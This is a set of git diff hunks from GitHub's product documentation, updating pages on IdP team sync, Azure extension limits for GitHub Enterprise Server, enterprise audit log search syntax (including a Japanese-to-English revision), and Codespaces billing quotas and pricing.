You can connect a team in your enterprise to one IdP group. You can assign the same IdP group to multiple teams in your enterprise.
If you are connecting an existing team to an IdP group, you must first remove any members that were added manually. After you connect a team in your enterprise to an IdP group, your IdP administrator must make team membership changes through the identity provider. You cannot manage team membership on {% data variables.product.prodname_dotcom_the_website %}.
## Creating a new team connected to an IdP group
Any member of an organization can create a new team and connect the team to an IdP group.

View File

@@ -99,7 +99,15 @@ Before launching {% data variables.location.product_location %} on Azure, you'll
{% data reusables.enterprise_installation.instance-will-restart-automatically %}
{% data reusables.enterprise_installation.visit-your-instance %}
## Azure extension features
{% data variables.product.product_name %} does not support the installation of Azure extension features. The {% data variables.product.prodname_ghe_server %} image is shipped with a customized `waagent` package which only supports basic VM management functions and blocks advanced VM management functions.
To avoid system instability of your {% data variables.product.prodname_ghe_server %} instance, the `walinuxagent` service is intentionally run in {% data variables.product.prodname_ghe_server %} in a restricted mode, explicitly disallowing the agent from being able to install other agents. VM management features that rely on additional agents and extensions beyond that which ships with {% data variables.product.prodname_ghe_server %} image, such as the Monitoring Agent extension for Azure Insights or Azure Backups, are unsupported.
Because {% data variables.product.product_name %} runs a customized Linux operating system with only the necessary applications and services, installing or updating operating system packages manually will overwrite these customizations and can cause unexpected behavior. For more information, see "[System overview](/admin/overview/system-overview)."
## Further reading
- "[System overview](/enterprise/admin/guides/installation/system-overview)"{% ifversion ghes %}
- "[About upgrades to new releases](/admin/overview/about-upgrades-to-new-releases)"{% endif %}

View File

@@ -35,7 +35,8 @@ In addition to viewing your audit log, you can monitor activity in your enterpri
As an enterprise owner{% ifversion ghes %} or site administrator{% endif %}, you can interact with the audit log data for your enterprise in several ways:
- You can view the audit log for your enterprise. For more information, see "[Accessing the audit log for your enterprise](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/accessing-the-audit-log-for-your-enterprise)."
- You can search the audit log for specific events{% ifversion ghec %} and export audit log data{% endif %}. For more information, see "[Searching the audit log for your enterprise](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/searching-the-audit-log-for-your-enterprise)"{% ifversion ghec %} and "[Exporting the audit log for your enterprise](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/exporting-audit-log-activity-for-your-enterprise)"{% endif %}.{% ifversion audit-data-retention-tab %}
- You can search the audit log for specific events{% ifversion ghec %} and export audit log data{% endif %}. For more information, see "[Searching the audit log for your enterprise](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/searching-the-audit-log-for-your-enterprise)"{% ifversion ghec %} and "[Exporting the audit log for your enterprise](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/exporting-audit-log-activity-for-your-enterprise)"{% endif %}.{% ifversion token-audit-log %}
- You can identify all events that were performed by a specific access token. For more information, see "[Identifying audit log events performed by an access token](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/identifying-audit-log-events-performed-by-an-access-token)."{% endif %}{% ifversion audit-data-retention-tab %}
- You can configure settings, such as the retention period for audit log events{% ifversion enable-git-events %} and whether Git events are included{% endif %}. For more information, see "[Configuring the audit log for your enterprise](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/configuring-the-audit-log-for-your-enterprise)."{% endif %}
{%- ifversion enterprise-audit-log-ip-addresses %}
- You can display the IP address associated with events in the audit log. For more information, see "[Displaying IP addresses in the audit log for your enterprise](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/displaying-ip-addresses-in-the-audit-log-for-your-enterprise)."

View File

@@ -14,15 +14,16 @@ children:
- /configuring-the-audit-log-for-your-enterprise
- /displaying-ip-addresses-in-the-audit-log-for-your-enterprise
- /searching-the-audit-log-for-your-enterprise
- /identifying-audit-log-events-performed-by-an-access-token
- /exporting-audit-log-activity-for-your-enterprise
- /streaming-the-audit-log-for-your-enterprise
- /using-the-audit-log-api-for-your-enterprise
- /audit-log-events-for-your-enterprise
ms.openlocfilehash: 8724cfa0bb5b5b98e209981cd717ab4a5b17e712
ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
ms.openlocfilehash: c7e0a9231e74b94f80bb4048d9854cdade2f556a
ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8
ms.translationtype: HT
ms.contentlocale: ja-JP
ms.lasthandoff: 09/05/2022
ms.locfileid: '147424801'
ms.lasthandoff: 11/09/2022
ms.locfileid: '148159800'
---

View File

@@ -1,6 +1,6 @@
---
title: エンタープライズの監査ログの検索
intro: Enterprise で監査されたアクションの広範なリストを検索できます。
title: Searching the audit log for your enterprise
intro: You can search an extensive list of audited actions in your enterprise.
shortTitle: Search audit logs
permissions: 'Enterprise owners {% ifversion ghes %}and site administrators {% endif %}can search the audit log.'
redirect_from:
@@ -19,78 +19,76 @@ topics:
- Enterprise
- Logging
miniTocMaxHeadingLevel: 3
ms.openlocfilehash: 6289b83d40aecf5208ae377be953ca65baba4a7d
ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
ms.translationtype: HT
ms.contentlocale: ja-JP
ms.lasthandoff: 09/10/2022
ms.locfileid: '147879144'
---
## エンタープライズの監査ログの検索について
**[フィルター]** ドロップダウンを使用するか、検索クエリを入力して、ユーザー インターフェイスからエンタープライズの監査ログを直接検索できます。
## About search for the enterprise audit log
![Search query (検索クエリ)](/assets/images/enterprise/site-admin-settings/search-query.png)
You can search your enterprise audit log directly from the user interface by using the **Filters** dropdown, or by typing a search query.
エンタープライズの監査ログの表示の詳細については、「[エンタープライズ監査ログへのアクセス](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/accessing-the-audit-log-for-your-enterprise)」を参照してください。
![Search query](/assets/images/enterprise/site-admin-settings/search-query.png)
For more information about viewing your enterprise audit log, see "[Accessing the audit log for your enterprise](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/accessing-the-audit-log-for-your-enterprise)."
{% data reusables.audit_log.git-events-not-in-search-results %}
API を使用して監査ログ イベントを取得することもできます。 詳細については、「[エンタープライズでの監査ログ API の使用](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/using-the-audit-log-api-for-your-enterprise)」を参照してください。
You can also use the API to retrieve audit log events. For more information, see "[Using the audit log API for your enterprise](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/using-the-audit-log-api-for-your-enterprise)."
テキストを使用してエントリを検索することはできません。 ただし、さまざまなフィルターを使用すれば検索クエリを作成できます。 ログを検索するときに使用される多くの演算子 (`-``>``<` など) は、{% data variables.product.product_name %} 全体で検索するものと同じ形式です。 詳細については、「[{% data variables.product.prodname_dotcom %} 上での検索](/search-github/getting-started-with-searching-on-github/about-searching-on-github)」を参照してください。
You cannot search for entries using text. You can, however, construct search queries using a variety of filters. Many operators used when querying the log, such as `-`, `>`, or `<`, match the same format as searching across {% data variables.product.product_name %}. For more information, see "[Searching on {% data variables.product.prodname_dotcom %}](/search-github/getting-started-with-searching-on-github/about-searching-on-github)."
{% note %}
****: {% data reusables.audit_log.retention-periods %}
**Note**: {% data reusables.audit_log.retention-periods %}
{% endnote %}
## 検索クエリ フィルター
## Search query filters
Assert| 説明
Filter| Description
--------------:| -----------
`Yesterday's activity` | 過去 1 日に作成されたすべてのアクション。
`Enterprise account management` | `business` カテゴリ内のすべてのアクション。
`Organization membership` | 新しいユーザーが組織に参加するように招待されたときのすべてのアクション。
`Team management` | チーム管理に関連するすべてのアクション。<br/>- ユーザー アカウントまたはリポジトリがチームに追加またはチームから削除されたとき<br/>- チームの保守担当者が昇格または降格されたとき<br/>- チームが削除されたとき
`Repository management` | リポジトリ管理のすべてのアクション。<br/>- リポジトリが作成または削除されたとき<br/>- リポジトリの可視性が変更されたとき<br/>- チームがリポジトリに追加または削除されたとき{% ifversion ghec %}
`Billing updates` | {% data variables.product.prodname_dotcom %} と請求先の電子メール アドレスが変更された場合のエンタープライズの支払い方法に関するすべてのアクション。{% endif %}
`Hook activity` | Webhook pre-receive フックのすべてのアクション。
`Security management` | SSH キー、デプロイ キー、セキュリティ キー、2FA、SAML シングル サインオン資格情報の承認、リポジトリの脆弱性アラートに関するすべてのアクション。
`Yesterday's activity` | All actions created in the past day.
`Enterprise account management` | All actions in the `business` category.
`Organization membership` | All actions for when a new user was invited to join an organization.
`Team management` | All actions related to team management.<br/>- When a user account or repository was added or removed from a team<br/>- When a team maintainer was promoted or demoted<br/>- When a team was deleted
`Repository management` | All actions for repository management.<br/>- When a repository was created or deleted<br/>- When the repository visibility was changed<br/>- When a team was added or removed from a repository{% ifversion ghec %}
`Billing updates` | All actions concerning how your enterprise pays for {% data variables.product.prodname_dotcom %} and for when your billing email address was changed.{% endif %}
`Hook activity` | All actions for webhooks and pre-receive hooks.
`Security management` | All actions concerning SSH keys, deploy keys, security keys, 2FA, and SAML single sign-on credential authorization, and vulnerability alerts for repositories.
## 検索クエリ構文
## Search query syntax
AND/OR の論理演算子で区切られた 1 つ以上の `key:value` のペアから検索クエリを構成できます。 たとえば、2017 年の初めからリポジトリ `octocat/Spoon-Knife` に影響を与えたすべてのアクションを確認するには、次のようにします。
You can compose a search query from one or more `key:value` pairs, separated by AND/OR logical operators. For example, to see all actions that have affected the repository `octocat/Spoon-Knife` since the beginning of 2017:
`repo:"octocat/Spoon-Knife" AND created:>=2017-01-01`
検索クエリで使用できる `key:value` ペアは次のとおりです。
The `key:value` pairs that can be used in a search query are:
キー |
Key | Value
--------------:| --------------------------------------------------------
`actor_id` | アクションを開始したユーザアカウントの ID
`actor` | アクションを開始したユーザアカウントの名前
`oauth_app_id` | アクションに関連付けられている OAuth アプリケーションの ID
`action` | 監査されたアクションの名前
`user_id` | アクションによって影響を受けたユーザの ID
`user` | アクションによって影響を受けたユーザの名前
`repo_id` | アクションによって影響を受けたリポジトリの ID (妥当な場合)
`repo` | アクションによって影響を受けたリポジトリの名前 (妥当な場合)
`actor_ip` | アクション元の IP アドレス
`created` | アクションが発生した時刻{% ifversion ghes %}。 サイト管理者ダッシュボードから監査ログを照会する場合は、代わりに `created_at` を使用します{% endif %}
`from` | アクション元の View
`note` | イベント固有の他の情報(プレーンテキストまたは JSON フォーマット)
`org` | アクションによって影響を受けたOrganizationの名前該当する場合
`org_id` | アクションによって影響を受けたOrganizationの ID該当する場合
`business` | アクションによって影響を受けたリポジトリの名前 (該当する場合)
`business_id` | アクションによって影響を受けたエンタープライズの ID (該当する場合)
`actor_id` | ID of the user account that initiated the action
`actor` | Name of the user account that initiated the action
`oauth_app_id` | ID of the OAuth application associated with the action
`action` | Name of the audited action
`user_id` | ID of the user affected by the action
`user` | Name of the user affected by the action
`repo_id` | ID of the repository affected by the action (if applicable)
`repo` | Name of the repository affected by the action (if applicable)
`actor_ip` | IP address from which the action was initiated
`created` | Time at which the action occurred{% ifversion ghes %}. If querying the audit log from the site admin dashboard, use `created_at` instead{% endif %}
`from` | View from which the action was initiated
`note` | Miscellaneous event-specific information (in either plain text or JSON format)
`org` | Name of the organization affected by the action (if applicable)
`org_id` | ID of the organization affected by the action (if applicable)
`business` | Name of the enterprise affected by the action (if applicable)
`business_id` | ID of the enterprise affected by the action (if applicable)
{%- ifversion token-audit-log %}
`hashed_token` | The token used to authenticate for the action (if applicable, see "[Identifying audit log events performed by an access token](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/identifying-audit-log-events-performed-by-an-access-token)")
{%- endif %}
カテゴリ別にグループ化されたアクションを表示するには、アクション修飾子を `key:value` ペアとして使用することもできます。 詳細については、「[実行されたアクションに基づく検索](#search-based-on-the-action-performed)」を参照してください。
To see actions grouped by category, you can also use the action qualifier as a `key:value` pair. For more information, see "[Search based on the action performed](#search-based-on-the-action-performed)."
エンタープライズの監査ログのアクションの完全な一覧については、「[エンタープライズの監査ログ アクション](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/audit-log-events-for-your-enterprise)」を参照してください。
For a full list of actions in your enterprise audit log, see "[Audit log actions for your enterprise](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/audit-log-events-for-your-enterprise)."
## Audit log を検索する
## Searching the audit log
{% data reusables.audit_log.audit-log-search-by-operation %}
@@ -98,40 +96,46 @@ AND/OR の論理演算子で区切られた 1 つ以上の `key:value` のペア
{% data reusables.audit_log.audit-log-search-by-user %}
### 実行されたアクションに基づく検索
### Search based on the action performed
特定のイベントを検索するには、クエリで `action` 修飾子を使用します。 次に例を示します。
To search for specific events, use the `action` qualifier in your query. For example:
* `action:team` は、チーム カテゴリ内でグループ化されたすべてのイベントを検索します。
* `-action:hook` は、Webhook カテゴリのすべてのイベントを除外します。
* `action:team` finds all events grouped within the team category.
* `-action:hook` excludes all events in the webhook category.
各カテゴリには、フィルタできる一連の関連アクションがあります。 次に例を示します。
Each category has a set of associated actions that you can filter on. For example:
* `action:team.create` は、チームが作成されたすべてのイベントを検索します。
* `-action:hook.events_changed` は、Webhook 上のイベントが変更されたすべてのイベントを除外します。
* `action:team.create` finds all events where a team was created.
* `-action:hook.events_changed` excludes all events where the events on a webhook have been altered.
エンタープライズの監査ログで検出できるアクションは、次のカテゴリにグループ化されます。
Actions that can be found in your enterprise audit log are grouped within the following categories:
{% data reusables.audit_log.audit-log-action-categories %}
### アクション時間に基づく検索
### Search based on time of action
`created` 修飾子を使用して、発生した日時に基づいて監査ログ内のイベントをフィルター処理します。
Use the `created` qualifier to filter events in the audit log based on when they occurred.
{% data reusables.time_date.date_format %} {% data reusables.time_date.time_format %}
{% data reusables.search.date_gt_lt %}
次に例を示します。
For example:
* `created:2014-07-08` は、2014 年 7 月 8 日に発生したすべてのイベントを検索します。
* `created:>=2014-07-08` は、2014 年 7 月 8 日またはそれ以降に発生したすべてのイベントを検索します。
* `created:<=2014-07-08` は、2014 年 7 月 8 日またはそれより前に発生したすべてのイベントを検索します。
* `created:2014-07-01..2014-07-31` は、2014 年 7 月の月に発生したすべてのイベントを検索します。
* `created:2014-07-08` finds all events that occurred on July 8th, 2014.
* `created:>=2014-07-08` finds all events that occurred on or after July 8th, 2014.
* `created:<=2014-07-08` finds all events that occurred on or before July 8th, 2014.
* `created:2014-07-01..2014-07-31` finds all events that occurred in the month of July 2014.
### 場所に基づく検索
### Search based on location
修飾子 `country` を使用すると、発信元の国に基づいて監査ログ内のイベントをフィルター処理できます。 国の 2 文字の短いコードまたはフル ネームを使用できます。 名前に空白がある国は引用符で囲む必要があります。 次に例を示します。
Using the qualifier `country`, you can filter events in the audit log based on the originating country. You can use a country's two-letter short code or full name. Countries with spaces in their name will need to be wrapped in quotation marks. For example:
* `country:de` は、ドイツで発生したすべてのイベントを検索します。
* `country:Mexico` は、メキシコで発生したすべてのイベントを検索します。
* `country:"United States"` は、米国で発生したすべてのイベントを検索します。
* `country:de` finds all events that occurred in Germany.
* `country:Mexico` finds all events that occurred in Mexico.
* `country:"United States"` all finds events that occurred in the United States.
{% ifversion token-audit-log %}
### Search based on the token that performed the action
Use the `hashed_token` qualifier to search based on the token that performed the action. Before you can search for a token, you must generate a SHA-256 hash. For more information, see "[Identifying audit log events performed by an access token](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/identifying-audit-log-events-performed-by-an-access-token)."
{% endif %}

View File

@@ -1,14 +1,12 @@
---
title: About billing for GitHub Codespaces
shortTitle: About billing
intro: 'View pricing and see how to manage {% data variables.product.prodname_github_codespaces %} billing for your organization.'
permissions: 'To manage billing for {% data variables.product.prodname_github_codespaces %} for an organization, you must be an organization owner or a billing manager.'
intro: 'Learn about the costs for using {% data variables.product.prodname_github_codespaces %}, and the monthly usage quotas included with {% data variables.product.prodname_dotcom %} personal accounts.'
miniTocMaxHeadingLevel: 3
versions:
fpt: '*'
ghec: '*'
type: overview
product: '{% data reusables.gated-features.codespaces %}'
topics:
- Codespaces
- Billing
@@ -23,20 +21,59 @@ redirect_from:
## {% data variables.product.prodname_github_codespaces %} pricing
Charges are incurred for the use of {% data variables.product.prodname_github_codespaces %} for repositories owned by organization and enterprise accounts on {% data variables.product.prodname_team %} and {% data variables.product.prodname_enterprise %}. These accounts do not include any free minutes or storage for {% data variables.product.prodname_github_codespaces %}. Personal accounts are not currently billed for {% data variables.product.prodname_github_codespaces %} usage.
{% data reusables.codespaces.codespaces-free-for-personal-intro %}
A {% data variables.product.prodname_github_codespaces %} instance (a "codespace") incurs charges for compute time, while it is active, and for the amount of storage it uses on disk.
Charges are billed to an organization or enterprise when all of the following are true:
{% data variables.product.prodname_github_codespaces %} usage is billed according to the units of measure in the following table:
- The repository from which a codespace is started (or the parent repository, in the case of a forked repository) is owned by an organization.
- The organization is configured to be billed for codespaces created from the repository or forks of the repository.
- The user creating the codespace belongs to the organization, or is an outside collaborator affiliated with the organization, and the organization has chosen to pay for this user's use of organization-owned codespaces.
| Component | Machine type | Unit of measure | Price |
| ------------------- | ------------ | --------------- | ----- |
| Codespaces compute | 2 core | 1 hour | $0.18 |
| | 4 core | 1 hour | $0.36 |
| | 8 core | 1 hour | $0.72 |
| | 16 core | 1 hour | $1.44 |
| | 32 core | 1 hour | $2.88 |
| Codespaces storage | Storage | 1 GB-month<sup>*</sup> | $0.07 |
Otherwise use of {% data variables.product.prodname_github_codespaces %} applies to the personal account of the person who created the codespace, and either consumes some of the monthly included usage for their personal account, or their account is billed according to their usage in excess of their included quotas.
For information about how to configure an organization to be billed for codespace usage, see "[Enabling {% data variables.product.prodname_github_codespaces %} for your organization](/codespaces/managing-codespaces-for-your-organization/enabling-github-codespaces-for-your-organization)." The Free, Team, and Enterprise plans for organization and enterprise accounts do not include any free use of {% data variables.product.prodname_github_codespaces %}.
### Monthly included storage and core hours for personal accounts
The following storage and core hours of usage are included, free of charge, for personal accounts:
| Account plan | Storage per month | Core hours per month |
| ------------ | ----------------- | -------------------- |
| {% data variables.product.prodname_dotcom %} Free for personal accounts | 15 GB | 120 |
| {% data variables.product.prodname_dotcom %} Pro | 20 GB | 180 |
{% note %}
**Note**: A "core hour" is a measure used for included compute usage. To calculate core hours, multiply the number of hours for which a codespace has been active by the multiplier in the pricing table below. For the basic machine types, the multiplier is the number of processor cores in the machine that hosts the codespace. For example, if you use a 2-core machine for your codespace and it's active for an hour, you have used 2 core hours. If you use an 8-core machine for an hour, you have used 8 core hours. If you use an 8-core machine for two hours, you have used 16 core hours.
{% endnote %}
You will be notified by email when you have used 75%, 90%, and 100% of your included quotas. Notifications are also displayed in a "toast" message within {% data variables.product.prodname_vscode_shortname %} and the {% data variables.product.prodname_vscode_shortname %} web client. You can turn off email notifications if required. For more information, see "[Managing the spending limit for GitHub Codespaces](/billing/managing-billing-for-github-codespaces/managing-the-spending-limit-for-github-codespaces#managing-usage-and-spending-limit-email-notifications)."
When a personal account has used all of either the included storage or compute usage (whichever is reached first), and has no spending limit configured, use of {% data variables.product.prodname_github_codespaces %} will be blocked. You must set up a payment method and a spending limit to continue using {% data variables.product.prodname_github_codespaces %} during the current billing month. At the beginning of the next monthly billing cycle the included usage is reset. Storage will not be billed while use of {% data variables.product.prodname_github_codespaces %} is blocked.
You can view details of your usage for the current month at any time. For more information, see "[Viewing your {% data variables.product.prodname_github_codespaces %} usage](/billing/managing-billing-for-github-codespaces/viewing-your-github-codespaces-usage)."
If you are blocked from resuming a codespace and you want to continue to work on changes you have made in your codespace, you can do any of the following:
- Add a payment method and a spending limit greater than $0 USD.
- Export the changes from the codespace to a branch. For more information, see "[Exporting changes to a branch](/codespaces/troubleshooting/exporting-changes-to-a-branch)."
- Wait for your monthly included usage to reset at the start of the next monthly billing cycle.
If you have used all of either your included storage usage or your included compute usage, and you have set up a payment method and a spending limit, any further use of codespaces owned by your personal account will incur charges for whichever type of usage has no remaining included quota. You will not be charged for the other type of usage until you have also used all of its included quota.
### Pricing for paid usage
A {% data variables.product.prodname_github_codespaces %} instance (a "codespace") incurs charges for compute time, while it is active, and for the amount of disk space the codespace occupies, while it exists. The compute cost is proportional to the number of processor cores in the machine type you choose for your codespace, as shown in the table below. For example, the compute cost of using a codespace for an hour on a 16-core machine is eight times greater than a 2-core machine.
| Component | Machine type | Unit of measure | Included usage multiplier | Price |
| ------------------- | ------------ | --------------- | ------------------------- | ----- |
| Codespaces compute | 2 core | 1 hour | 2 | $0.18 |
| | 4 core | 1 hour | 4 | $0.36 |
| | 8 core | 1 hour | 8 | $0.72 |
| | 16 core | 1 hour | 16 | $1.44 |
| | 32 core | 1 hour | 32 | $2.88 |
| Codespaces storage | Storage | 1 GB-month<sup>*</sup> | N/A | $0.07 |
<sup>*</sup> See "[Billing for storage usage](#billing-for-storage-usage)" below for details of the GB-month unit of measure.
@@ -46,29 +83,38 @@ If you enable prebuilding of codespaces this will incur additional charges. For
{% data variables.product.prodname_github_codespaces %} is billed in US dollars (USD) according to the amount of compute time and storage space your codespaces use. {% data reusables.codespaces.codespaces-monthly-billing %}
Your {% data variables.product.prodname_github_codespaces %} usage shares your organization or enterprise account's existing payment method, and receipt. For more information, see "[Viewing your subscriptions and billing date](/articles/viewing-your-subscriptions-and-billing-date)."
Billing for {% data variables.product.prodname_github_codespaces %} shares your account's existing payment method, and receipt. For more information, see "[Viewing your subscriptions and billing date](/articles/viewing-your-subscriptions-and-billing-date)."
{% ifversion ghec %}
If you purchased {% data variables.product.prodname_enterprise %} through a Microsoft Enterprise Agreement, you can connect your Azure Subscription ID to your enterprise account to enable and pay for {% data variables.product.prodname_github_codespaces %} usage. For more information, see "[Connecting an Azure subscription to your enterprise](/billing/managing-billing-for-your-github-account/connecting-an-azure-subscription-to-your-enterprise)."
{% endif %}
### Billing for compute usage
The compute usage of a codespace is the number of minutes for which that codespace is active. Total compute usage is calculated by summing the number of minutes used by all codespaces that are billable to the organization or enterprise. These totals are reported to the billing service every hour, and are billed monthly.
The compute usage of a codespace is the length of time for which that codespace is active multiplied by the multiplier in the pricing table for the machine type of the codespace. Total compute usage is calculated by summing the time used by all codespaces billable to a particular account. These totals are reported to the billing service every hour, and are billed monthly.
As an example, if a codespace is active for 1 hour and 15 minutes, then the compute cost will be the hourly cost of the codespace, as determined by its machine type, multiplied by 1.25.
You can restrict compute usage by stopping your codespaces. For information, see "[Stopping and starting a codespace](/codespaces/developing-in-codespaces/stopping-and-starting-a-codespace)." Codespaces are stopped automatically after a configurable period of inactivity. The timeout period can be configured by the user, or at the organization level. For more information, see "[Setting your timeout period for {% data variables.product.prodname_github_codespaces %}](/codespaces/customizing-your-codespace/setting-your-timeout-period-for-github-codespaces)" and "[Restricting the idle timeout period](/codespaces/managing-codespaces-for-your-organization/restricting-the-idle-timeout-period)."
You can control compute usage by stopping your codespaces. For information, see "[Stopping and starting a codespace](/codespaces/developing-in-codespaces/stopping-and-starting-a-codespace)." Codespaces are stopped automatically after a configurable period of inactivity. The timeout period can be configured by the user, or at the organization level. For more information, see "[Setting your timeout period for {% data variables.product.prodname_github_codespaces %}](/codespaces/customizing-your-codespace/setting-your-timeout-period-for-github-codespaces)" and "[Restricting the idle timeout period](/codespaces/managing-codespaces-for-your-organization/restricting-the-idle-timeout-period)."
### Billing for storage usage
For {% data variables.product.prodname_github_codespaces %} billing purposes, storage compromises the disk space used by all of the codespaces and prebuilds in your account. This includes any files used by the codespaces, such as cloned repositories, configuration files, and extensions, among others. Storage is billed for all of your existing codespaces, regardless of whether they are active or stopped. The storage billing for a codespace ends when it is deleted.
For {% data variables.product.prodname_github_codespaces %} billing purposes, storage comprises the disk space used by all of the codespaces and prebuilds in your account. This includes any files you use in a codespace, such as cloned repositories, configuration files, data loaded to the codespace (for example as input or output of the software running in the repository), and extensions, among others. Storage is billed for all of your existing codespaces, regardless of whether they are active or inactive with the exception of blocked usage due to exhausted included usage quota or reaching your spending limit. The storage billing for a codespace ends when it is deleted.
Codespace storage is reported in GB-months. Your billing month runs from a fixed day in one month until the same day in the next month. In most cases the day of the month is determined by the day you started on your current {% data variables.product.prodname_dotcom %} plan. Your GB-month storage, is calculated as follows. Once every hour, the storage used by all of your currently active and stopped codespaces is assessed. This figure is then divided by the number of hours in the current billing month: `total storage size / hours this month`. The result is added to the running total for codespace storage for the month.
{% note %}
For example, if you have one codespace that uses 100 GB of storage and has existed for one hour you will have used `100 / (24 * 30) = 0.1388` GB-months of storage in a 30-day month. If your use of GitHub Codespaces during a 30-day month consists of two 100 GB codespaces that both existed for three full days then there will be `24 * 3` hourly reports for the storage of these codespaces, giving a total of: `(24 * 3) * 200 / (24 * 30) = 20` GB-months.
**Notes**:
- When you use the default dev container configuration (see "[Introduction to dev containers](/codespaces/setting-up-your-project-for-codespaces/introduction-to-dev-containers#using-the-default-dev-container-configuration)"), we do not count the default container as used storage. When you create a custom container using a dev container configuration with a different base image we do count the container as used storage.
- When you rebuild your container from the default image we do not count the base container as used storage. For other base images all of the storage consumed by the codespace, including the base container, is counted as used storage.
{% endnote %}
Codespace storage is reported in GB-months. Your billing month runs from a fixed day in one month until the same day in the next month. In most cases the day of the month is determined by the day you started on your current {% data variables.product.prodname_dotcom %} plan. Your GB-month storage is calculated as follows. Once every hour, the storage used by all of your currently active and stopped codespaces is assessed. This figure is then divided by the number of hours in the current billing month: `total storage size / hours this month`. The result is added to the running total for codespace storage for the month.
For example, if you have one codespace that uses 100 GB of storage and has existed for one hour you will have used `100 / (24 * 30) = 0.1388` GB-months of storage in a 30-day month. If your use of {% data variables.product.prodname_github_codespaces %} during a 30-day month consists of two 100 GB codespaces that both existed for three full days then there will be `24 * 3` hourly reports for the storage of these codespaces, giving a total of `(24 * 3) * 200 / (24 * 30) = 20` GB-months.
For each hourly report, the storage usage for the previous hour is calculated in seconds. As a result, you won't be charged for a full hour of storage if a codespace did not exist for the full 60 minutes. At the end of the month, {% data variables.product.prodname_dotcom %} rounds your storage to the nearest MB.
As an organization owner, you can:
Organization owners can:
- List the currently active and stopped codespaces for your organization. For more information, see "[Listing the codespaces in your organization](/codespaces/managing-codespaces-for-your-organization/listing-the-codespaces-in-your-organization)." In addition to the cost of these codespaces, the cost of {% data variables.product.prodname_github_codespaces %} for the current month may include costs for codespaces that existed earlier in the current month but have since been deleted.
- See the total {% data variables.product.prodname_github_codespaces %} compute and storage usage for your organization for the current month to date. For more information, see "[Viewing your {% data variables.product.prodname_github_codespaces %} usage](/billing/managing-billing-for-github-codespaces/viewing-your-github-codespaces-usage)."
- Configure your organization settings to manage the cost of {% data variables.product.prodname_github_codespaces %}. For more information, see "[Managing the cost of {% data variables.product.prodname_github_codespaces %} in your organization](/codespaces/managing-codespaces-for-your-organization/managing-the-cost-of-github-codespaces-in-your-organization)."
@@ -81,28 +127,32 @@ To estimate the costs for metered services, you can use the {% data variables.pr
#### {% data variables.product.prodname_actions %} costs for prebuilds
Prebuilds are created and updated by running a {% data variables.product.prodname_actions %} workflow on a {% data variables.product.prodname_dotcom %}-hosted runner. By default, prebuilds are updated every time you modify the prebuild configuration, or push changes to a prebuild-enabled branch. As with other workflows, while prebuild workflows are running they will either consume some of the Actions minutes included with your account, if you have any, or they will incur charges for Actions minutes. For more information about pricing for Actions minutes, see "[About billing for {% data variables.product.prodname_actions %}](/billing/managing-billing-for-github-actions/about-billing-for-github-actions)." There is no associated {% data variables.product.prodname_codespaces %} compute cost for creating or updating prebuilds.
Prebuilds are created and updated by running a {% data variables.product.prodname_actions %} workflow on a {% data variables.product.prodname_dotcom %}-hosted runner. You can configure how you want prebuild updates to be automatically triggered. For information, see "[Configuring prebuilds](/codespaces/prebuilding-your-codespaces/configuring-prebuilds#configuring-a-prebuild)."
To reduce consumption of Actions minutes, you can set a prebuild to be updated only when you make a change to your dev container configuration files, or only on a custom schedule. You can also manage your storage usage by adjusting the number of previous versions of each prebuild that are retained. For more information, see "[Configuring prebuilds](/codespaces/prebuilding-your-codespaces/configuring-prebuilds#configuring-a-prebuild)."
As with other workflows, while prebuild workflows are running they consume {% data variables.product.prodname_actions %} minutes included with your account, if you have any, or they incur charges for {% data variables.product.prodname_actions %} minutes. For more information about pricing for {% data variables.product.prodname_actions %} minutes, see "[About billing for {% data variables.product.prodname_actions %}](/billing/managing-billing-for-github-actions/about-billing-for-github-actions)." There is no associated {% data variables.product.prodname_codespaces %} compute cost for creating or updating prebuilds.
If you are an organization or enterprise owner, you can track usage of prebuild workflows and storage by downloading a usage report for your organization or enterprise. You can identify workflow runs for prebuilds by filtering the CSV output to only include the workflow called "Create {% data variables.product.prodname_github_codespaces %} Prebuilds." For more information, see "[Viewing your {% data variables.product.prodname_actions %} usage](/billing/managing-billing-for-github-actions/viewing-your-github-actions-usage#viewing-github-actions-usage-for-your-organization)."
You can track usage of prebuild workflows and storage by downloading a usage report for your account. For more information, see "[Viewing your {% data variables.product.prodname_github_codespaces %} usage](/billing/managing-billing-for-github-codespaces/viewing-your-github-codespaces-usage)."
#### Storage costs for prebuilds
In addition to {% data variables.product.prodname_actions %} minutes, you will also be billed for the storage of prebuilds associated with each prebuild configuration for a given repository and region. Storage of prebuilds is billed at the same rate as storage of codespaces.
In addition to {% data variables.product.prodname_actions %} minutes, you will also be billed for the storage of prebuilds associated with each prebuild configuration, for a given repository and region. Storage of prebuilds is billed at the same rate as storage of codespaces.
The storage cost for a prebuild in a single region will be similar to the storage cost that will be incurred for storing a single codespace created from that prebuild. The storage cost for the generated codespace may be more than the cost for the prebuild if, for example, the `updateContentCommand` and `postCreateCommand` commands are used during codespace creation to download more files to the dev container.
The total storage costs associated with a prebuild will depend on:
The total storage costs associated with a prebuild configuration will depend on the following factors.
* The price of storage per GB. See the table above.
* The size of the generated prebuild in GB.
